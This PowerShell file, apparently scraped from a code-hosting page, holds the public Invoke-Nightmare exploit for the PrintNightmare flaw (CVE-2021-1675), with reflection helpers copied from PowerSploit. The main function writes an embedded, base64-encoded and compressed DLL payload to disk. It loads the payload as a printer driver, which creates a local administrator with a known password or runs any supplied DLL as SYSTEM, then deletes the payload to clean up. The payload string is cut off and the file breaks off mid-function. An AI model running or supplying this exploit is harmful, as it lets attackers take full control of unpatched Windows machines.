799 lines
174 KiB
PowerShell
799 lines
174 KiB
PowerShell
|
function Invoke-Nightmare
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Exploits CVE-2021-1675 (PrintNightmare)
|
||
|
|
||
|
Authors:
|
||
|
Caleb Stewart - https://github.com/calebstewart
|
||
|
John Hammond - https://github.com/JohnHammond
|
||
|
URL: https://github.com/calebstewart/CVE-2021-1675
|
||
|
|
||
|
.DESCRIPTION
|
||
|
Exploits CVE-2021-1675 (PrintNightmare) locally to add a new local administrator
|
||
|
user with a known password. Optionally, this can be used to execute your own
|
||
|
custom DLL to execute any other code as NT AUTHORITY\SYSTEM.
|
||
|
|
||
|
.PARAMETER DriverName
|
||
|
The name of the new printer driver to add (default: "Totally Not Malicious")
|
||
|
|
||
|
.PARAMETER NewUser
|
||
|
The name of the new user to create when using the default DLL (default: "adm1n")
|
||
|
|
||
|
.PARAMETER NewPassword
|
||
|
The password for the new user when using the default DLL (default: "P@ssw0rd")
|
||
|
|
||
|
.PARAMETER DLL
|
||
|
The DLL to execute when loading the printer driver (default: a builtin payload which
|
||
|
creates the specified user, and adds the new user to the local administrators group).
|
||
|
|
||
|
.EXAMPLE
|
||
|
> Invoke-Nightmare
|
||
|
Adds a new local user named `adm1n` which is a member of the local admins group
|
||
|
|
||
|
.EXAMPLE
|
||
|
> Invoke-Nightmare -NewUser "caleb" -NewPassword "password" -DriverName "driver"
|
||
|
Adds a new local user named `caleb` using a printer driver named `driver`
|
||
|
|
||
|
.EXAMPLE
|
||
|
> Invoke-Nightmare -DLL C:\path\to\
|
||
|
|
||
|
#>
|
||
|
param (
|
||
|
[string]$DriverName = "Totally Not Malicious",
|
||
|
[string]$NewUser = "",
|
||
|
[string]$NewPassword = "",
|
||
|
[string]$DLL = ""
|
||
|
)
|
||
|
|
||
|
if ( $DLL -eq "" ){
|
||
|
$nightmare_data = [byte[]](get_nightmare_dll)
|
||
|
$encoder = New-Object System.Text.UnicodeEncoding
|
||
|
|
||
|
if ( $NewUser -ne "" ) {
|
||
|
$NewUserBytes = $encoder.GetBytes($NewUser)
|
||
|
[System.Buffer]::BlockCopy($NewUserBytes, 0, $nightmare_data, 0x32e20, $NewUserBytes.Length)
|
||
|
$nightmare_data[0x32e20+$NewUserBytes.Length] = 0
|
||
|
$nightmare_data[0x32e20+$NewUserBytes.Length+1] = 0
|
||
|
} else {
|
||
|
Write-Host "[+] using default new user: adm1n"
|
||
|
}
|
||
|
|
||
|
if ( $NewPassword -ne "" ) {
|
||
|
$NewPasswordBytes = $encoder.GetBytes($NewPassword)
|
||
|
[System.Buffer]::BlockCopy($NewPasswordBytes, 0, $nightmare_data, 0x32c20, $NewPasswordBytes.Length)
|
||
|
$nightmare_data[0x32c20+$NewPasswordBytes.Length] = 0
|
||
|
$nightmare_data[0x32c20+$NewPasswordBytes.Length+1] = 0
|
||
|
} else {
|
||
|
Write-Host "[+] using default new password: P@ssw0rd"
|
||
|
}
|
||
|
|
||
|
$DLL = [System.IO.Path]::GetTempPath() + "nightmare.dll"
|
||
|
[System.IO.File]::WriteAllBytes($DLL, $nightmare_data)
|
||
|
Write-Host "[+] created payload at $DLL"
|
||
|
$delete_me = $true
|
||
|
} else {
|
||
|
Write-Host "[+] using user-supplied payload at $DLL"
|
||
|
Write-Host "[!] ignoring NewUser and NewPassword arguments"
|
||
|
$delete_me = $false
|
||
|
}
|
||
|
|
||
|
$Mod = New-InMemoryModule -ModuleName "A$(Get-Random)"
|
||
|
|
||
|
$FunctionDefinitions = @(
|
||
|
(func winspool.drv AddPrinterDriverEx ([bool]) @([string], [Uint32], [IntPtr], [Uint32]) -Charset Auto -SetLastError),
|
||
|
(func winspool.drv EnumPrinterDrivers([bool]) @( [string], [string], [Uint32], [IntPtr], [UInt32], [Uint32].MakeByRefType(), [Uint32].MakeByRefType()) -Charset Auto -SetLastError)
|
||
|
)
|
||
|
|
||
|
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Mod'
|
||
|
|
||
|
# Define custom structures for types created
|
||
|
$DRIVER_INFO_2 = struct $Mod DRIVER_INFO_2 @{
|
||
|
cVersion = field 0 Uint64;
|
||
|
pName = field 1 string -MarshalAs @("LPTStr");
|
||
|
pEnvironment = field 2 string -MarshalAs @("LPTStr");
|
||
|
pDriverPath = field 3 string -MarshalAs @("LPTStr");
|
||
|
pDataFile = field 4 string -MarshalAs @("LPTStr");
|
||
|
pConfigFile = field 5 string -MarshalAs @("LPTStr");
|
||
|
}
|
||
|
|
||
|
$winspool = $Types['winspool.drv']
|
||
|
$APD_COPY_ALL_FILES = 0x00000004
|
||
|
|
||
|
[Uint32]($cbNeeded) = 0
|
||
|
[Uint32]($cReturned) = 0
|
||
|
|
||
|
if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, [IntPtr]::Zero, 0, [ref]$cbNeeded, [ref]$cReturned) ){
|
||
|
Write-Host "[!] EnumPrinterDrivers should fail!"
|
||
|
return
|
||
|
}
|
||
|
|
||
|
[IntPtr]$pAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([Uint32]($cbNeeded))
|
||
|
|
||
|
if ( $winspool::EnumPrinterDrivers($null, "Windows x64", 2, $pAddr, $cbNeeded, [ref]$cbNeeded, [ref]$cReturned) ){
|
||
|
$driver = [System.Runtime.InteropServices.Marshal]::PtrToStructure($pAddr, [System.Type]$DRIVER_INFO_2)
|
||
|
} else {
|
||
|
Write-Host "[!] failed to get current driver list"
|
||
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)
|
||
|
return
|
||
|
}
|
||
|
|
||
|
Write-Host "[+] using pDriverPath = `"$($driver.pDriverPath)`""
|
||
|
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAddr)
|
||
|
|
||
|
$driver_info = New-Object $DRIVER_INFO_2
|
||
|
$driver_info.cVersion = 3
|
||
|
$driver_info.pConfigFile = $DLL
|
||
|
$driver_info.pDataFile = $DLL
|
||
|
$driver_info.pDriverPath = $driver.pDriverPath
|
||
|
$driver_info.pEnvironment = "Windows x64"
|
||
|
$driver_info.pName = $DriverName
|
||
|
|
||
|
$pDriverInfo = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($driver_info))
|
||
|
[System.Runtime.InteropServices.Marshal]::StructureToPtr($driver_info, $pDriverInfo, $false)
|
||
|
|
||
|
if ( $winspool::AddPrinterDriverEx($null, 2, $pDriverInfo, $APD_COPY_ALL_FILES -bor 0x10 -bor 0x8000) ) {
|
||
|
if ( $delete_me ) {
|
||
|
Write-Host "[+] added user $NewUser as local administrator"
|
||
|
} else {
|
||
|
Write-Host "[+] driver appears to have been loaded!"
|
||
|
}
|
||
|
} else {
|
||
|
Write-Error "[!] AddPrinterDriverEx failed"
|
||
|
}
|
||
|
|
||
|
if ( $delete_me ) {
|
||
|
Write-Host "[+] deleting payload from $DLL"
|
||
|
Remove-Item -Force $DLL
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function get_nightmare_dll
|
||
|
{
|
||
|
$nightmare_data = [System.Convert]::FromBase64String("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
|
||
|
|
||
|
$nightmare_ms = New-Object System.IO.MemoryStream -ArgumentList @(,$nightmare_data)
|
||
|
$ms = New-Object System.IO.MemoryStream
|
||
|
$gzs = New-Object System.IO.Compression.GZipStream -ArgumentList @($nightmare_ms, [System.IO.Compression.CompressionMode]::Decompress)
|
||
|
$gzs.CopyTo($ms)
|
||
|
$gzs.Close()
|
||
|
$nightmare_ms.Close()
|
||
|
|
||
|
return $ms.ToArray()
|
||
|
}
|
||
|
|
||
|
########################################################
|
||
|
# Stolen from PowerSploit: https://github.com/PowerShellMafia/PowerSploit
|
||
|
########################################################
|
||
|
|
||
|
########################################################
|
||
|
#
|
||
|
# PSReflect code for Windows API access
|
||
|
# Author: @mattifestation
|
||
|
# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1
|
||
|
#
|
||
|
########################################################
|
||
|
|
||
|
function New-InMemoryModule {
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Creates an in-memory assembly and module
|
||
|
Author: Matthew Graeber (@mattifestation)
|
||
|
License: BSD 3-Clause
|
||
|
Required Dependencies: None
|
||
|
Optional Dependencies: None
|
||
|
.DESCRIPTION
|
||
|
When defining custom enums, structs, and unmanaged functions, it is
|
||
|
necessary to associate to an assembly module. This helper function
|
||
|
creates an in-memory module that can be passed to the 'enum',
|
||
|
'struct', and Add-Win32Type functions.
|
||
|
.PARAMETER ModuleName
|
||
|
Specifies the desired name for the in-memory assembly and module. If
|
||
|
ModuleName is not provided, it will default to a GUID.
|
||
|
.EXAMPLE
|
||
|
$Module = New-InMemoryModule -ModuleName Win32
|
||
|
#>
|
||
|
|
||
|
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
|
||
|
[CmdletBinding()]
|
||
|
Param (
|
||
|
[Parameter(Position = 0)]
|
||
|
[ValidateNotNullOrEmpty()]
|
||
|
[String]
|
||
|
$ModuleName = [Guid]::NewGuid().ToString()
|
||
|
)
|
||
|
|
||
|
$AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())
|
||
|
$LoadedAssemblies = $AppDomain.GetAssemblies()
|
||
|
|
||
|
foreach ($Assembly in $LoadedAssemblies) {
|
||
|
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
|
||
|
return $Assembly
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
|
||
|
$Domain = $AppDomain
|
||
|
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
|
||
|
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
|
||
|
|
||
|
return $ModuleBuilder
|
||
|
}
|
||
|
|
||
|
# A helper function used to reduce typing while defining function
|
||
|
# prototypes for Add-Win32Type.
|
||
|
function func {
|
||
|
Param (
|
||
|
[Parameter(Position = 0, Mandatory = $True)]
|
||
|
[String]
|
||
|
$DllName,
|
||
|
|
||
|
[Parameter(Position = 1, Mandatory = $True)]
|
||
|
[string]
|
||
|
$FunctionName,
|
||
|
|
||
|
[Parameter(Position = 2, Mandatory = $True)]
|
||
|
[Type]
|
||
|
$ReturnType,
|
||
|
|
||
|
[Parameter(Position = 3)]
|
||
|
[Type[]]
|
||
|
$ParameterTypes,
|
||
|
|
||
|
[Parameter(Position = 4)]
|
||
|
[Runtime.InteropServices.CallingConvention]
|
||
|
$NativeCallingConvention,
|
||
|
|
||
|
[Parameter(Position = 5)]
|
||
|
[Runtime.InteropServices.CharSet]
|
||
|
$Charset,
|
||
|
|
||
|
[String]
|
||
|
$EntryPoint,
|
||
|
|
||
|
[Switch]
|
||
|
$SetLastError
|
||
|
)
|
||
|
|
||
|
$Properties = @{
|
||
|
DllName = $DllName
|
||
|
FunctionName = $FunctionName
|
||
|
ReturnType = $ReturnType
|
||
|
}
|
||
|
|
||
|
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
|
||
|
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
|
||
|
if ($Charset) { $Properties['Charset'] = $Charset }
|
||
|
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
|
||
|
if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }
|
||
|
|
||
|
New-Object PSObject -Property $Properties
|
||
|
}
|
||
|
|
||
|
function Add-Win32Type
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Creates a .NET type for an unmanaged Win32 function.
|
||
|
Author: Matthew Graeber (@mattifestation)
|
||
|
License: BSD 3-Clause
|
||
|
Required Dependencies: None
|
||
|
Optional Dependencies: func
|
||
|
.DESCRIPTION
|
||
|
Add-Win32Type enables you to easily interact with unmanaged (i.e.
|
||
|
Win32 unmanaged) functions in PowerShell. After providing
|
||
|
Add-Win32Type with a function signature, a .NET type is created
|
||
|
using reflection (i.e. csc.exe is never called like with Add-Type).
|
||
|
The 'func' helper function can be used to reduce typing when defining
|
||
|
multiple function definitions.
|
||
|
.PARAMETER DllName
|
||
|
The name of the DLL.
|
||
|
.PARAMETER FunctionName
|
||
|
The name of the target function.
|
||
|
.PARAMETER EntryPoint
|
||
|
The DLL export function name. This argument should be specified if the
|
||
|
specified function name is different than the name of the exported
|
||
|
function.
|
||
|
.PARAMETER ReturnType
|
||
|
The return type of the function.
|
||
|
.PARAMETER ParameterTypes
|
||
|
The function parameters.
|
||
|
.PARAMETER NativeCallingConvention
|
||
|
Specifies the native calling convention of the function. Defaults to
|
||
|
stdcall.
|
||
|
.PARAMETER Charset
|
||
|
If you need to explicitly call an 'A' or 'W' Win32 function, you can
|
||
|
specify the character set.
|
||
|
.PARAMETER SetLastError
|
||
|
Indicates whether the callee calls the SetLastError Win32 API
|
||
|
function before returning from the attributed method.
|
||
|
.PARAMETER Module
|
||
|
The in-memory module that will host the functions. Use
|
||
|
New-InMemoryModule to define an in-memory module.
|
||
|
.PARAMETER Namespace
|
||
|
An optional namespace to prepend to the type. Add-Win32Type defaults
|
||
|
to a namespace consisting only of the name of the DLL.
|
||
|
.EXAMPLE
|
||
|
$Mod = New-InMemoryModule -ModuleName Win32
|
||
|
$FunctionDefinitions = @(
|
||
|
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
|
||
|
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
|
||
|
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
|
||
|
)
|
||
|
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
|
||
|
$Kernel32 = $Types['kernel32']
|
||
|
$Ntdll = $Types['ntdll']
|
||
|
$Ntdll::RtlGetCurrentPeb()
|
||
|
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
|
||
|
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
|
||
|
.NOTES
|
||
|
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
|
||
|
When defining multiple function prototypes, it is ideal to provide
|
||
|
Add-Win32Type with an array of function signatures. That way, they
|
||
|
are all incorporated into the same in-memory module.
|
||
|
#>
|
||
|
|
||
|
[OutputType([Hashtable])]
|
||
|
Param(
|
||
|
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
|
||
|
[String]
|
||
|
$DllName,
|
||
|
|
||
|
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
|
||
|
[String]
|
||
|
$FunctionName,
|
||
|
|
||
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
||
|
[String]
|
||
|
$EntryPoint,
|
||
|
|
||
|
[Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]
|
||
|
[Type]
|
||
|
$ReturnType,
|
||
|
|
||
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
||
|
[Type[]]
|
||
|
$ParameterTypes,
|
||
|
|
||
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
||
|
[Runtime.InteropServices.CallingConvention]
|
||
|
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
|
||
|
|
||
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
||
|
[Runtime.InteropServices.CharSet]
|
||
|
$Charset = [Runtime.InteropServices.CharSet]::Auto,
|
||
|
|
||
|
[Parameter(ValueFromPipelineByPropertyName=$True)]
|
||
|
[Switch]
|
||
|
$SetLastError,
|
||
|
|
||
|
[Parameter(Mandatory=$True)]
|
||
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
||
|
$Module,
|
||
|
|
||
|
[ValidateNotNull()]
|
||
|
[String]
|
||
|
$Namespace = ''
|
||
|
)
|
||
|
|
||
|
BEGIN
|
||
|
{
|
||
|
$TypeHash = @{}
|
||
|
}
|
||
|
|
||
|
PROCESS
|
||
|
{
|
||
|
if ($Module -is [Reflection.Assembly])
|
||
|
{
|
||
|
if ($Namespace)
|
||
|
{
|
||
|
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$TypeHash[$DllName] = $Module.GetType($DllName)
|
||
|
}
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
# Define one type for each DLL
|
||
|
if (!$TypeHash.ContainsKey($DllName))
|
||
|
{
|
||
|
if ($Namespace)
|
||
|
{
|
||
|
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$Method = $TypeHash[$DllName].DefineMethod(
|
||
|
$FunctionName,
|
||
|
'Public,Static,PinvokeImpl',
|
||
|
$ReturnType,
|
||
|
$ParameterTypes)
|
||
|
|
||
|
# Make each ByRef parameter an Out parameter
|
||
|
$i = 1
|
||
|
foreach($Parameter in $ParameterTypes)
|
||
|
{
|
||
|
if ($Parameter.IsByRef)
|
||
|
{
|
||
|
[void] $Method.DefineParameter($i, 'Out', $null)
|
||
|
}
|
||
|
|
||
|
$i++
|
||
|
}
|
||
|
|
||
|
$DllImport = [Runtime.InteropServices.DllImportAttribute]
|
||
|
$SetLastErrorField = $DllImport.GetField('SetLastError')
|
||
|
$CallingConventionField = $DllImport.GetField('CallingConvention')
|
||
|
$CharsetField = $DllImport.GetField('CharSet')
|
||
|
$EntryPointField = $DllImport.GetField('EntryPoint')
|
||
|
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
|
||
|
|
||
|
if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }
|
||
|
|
||
|
# Equivalent to C# version of [DllImport(DllName)]
|
||
|
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
|
||
|
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
|
||
|
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
|
||
|
[Reflection.FieldInfo[]] @($SetLastErrorField,
|
||
|
$CallingConventionField,
|
||
|
$CharsetField,
|
||
|
$EntryPointField),
|
||
|
[Object[]] @($SLEValue,
|
||
|
([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),
|
||
|
([Runtime.InteropServices.CharSet] $Charset),
|
||
|
$ExportedFuncName))
|
||
|
|
||
|
$Method.SetCustomAttribute($DllImportAttribute)
|
||
|
}
|
||
|
}
|
||
|
|
||
|
END
|
||
|
{
|
||
|
if ($Module -is [Reflection.Assembly])
|
||
|
{
|
||
|
return $TypeHash
|
||
|
}
|
||
|
|
||
|
$ReturnTypes = @{}
|
||
|
|
||
|
foreach ($Key in $TypeHash.Keys)
|
||
|
{
|
||
|
$Type = $TypeHash[$Key].CreateType()
|
||
|
|
||
|
$ReturnTypes[$Key] = $Type
|
||
|
}
|
||
|
|
||
|
return $ReturnTypes
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
function psenum {
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
Creates an in-memory enumeration for use in your PowerShell session.
|
||
|
Author: Matthew Graeber (@mattifestation)
|
||
|
License: BSD 3-Clause
|
||
|
Required Dependencies: None
|
||
|
Optional Dependencies: None
|
||
|
.DESCRIPTION
|
||
|
The 'psenum' function facilitates the creation of enums entirely in
|
||
|
memory using as close to a "C style" as PowerShell will allow.
|
||
|
.PARAMETER Module
|
||
|
The in-memory module that will host the enum. Use
|
||
|
New-InMemoryModule to define an in-memory module.
|
||
|
.PARAMETER FullName
|
||
|
The fully-qualified name of the enum.
|
||
|
.PARAMETER Type
|
||
|
The type of each enum element.
|
||
|
.PARAMETER EnumElements
|
||
|
A hashtable of enum elements.
|
||
|
.PARAMETER Bitfield
|
||
|
Specifies that the enum should be treated as a bitfield.
|
||
|
.EXAMPLE
|
||
|
$Mod = New-InMemoryModule -ModuleName Win32
|
||
|
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
|
||
|
UNKNOWN = 0
|
||
|
NATIVE = 1 # Image doesn't require a subsystem.
|
||
|
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
|
||
|
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
|
||
|
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
|
||
|
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
|
||
|
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
|
||
|
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
|
||
|
EFI_APPLICATION = 10
|
||
|
EFI_BOOT_SERVICE_DRIVER = 11
|
||
|
EFI_RUNTIME_DRIVER = 12
|
||
|
EFI_ROM = 13
|
||
|
XBOX = 14
|
||
|
WINDOWS_BOOT_APPLICATION = 16
|
||
|
}
|
||
|
.NOTES
|
||
|
PowerShell purists may disagree with the naming of this function but
|
||
|
again, this was developed in such a way so as to emulate a "C style"
|
||
|
definition as closely as possible. Sorry, I'm not going to name it
|
||
|
New-Enum. :P
|
||
|
#>
|
||
|
|
||
|
[OutputType([Type])]
|
||
|
Param (
|
||
|
[Parameter(Position = 0, Mandatory=$True)]
|
||
|
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
||
|
$Module,
|
||
|
|
||
|
[Parameter(Position = 1, Mandatory=$True)]
|
||
|
[ValidateNotNullOrEmpty()]
|
||
|
[String]
|
||
|
$FullName,
|
||
|
|
||
|
[Parameter(Position = 2, Mandatory=$True)]
|
||
|
[Type]
|
||
|
$Type,
|
||
|
|
||
|
[Parameter(Position = 3, Mandatory=$True)]
|
||
|
[ValidateNotNullOrEmpty()]
|
||
|
[Hashtable]
|
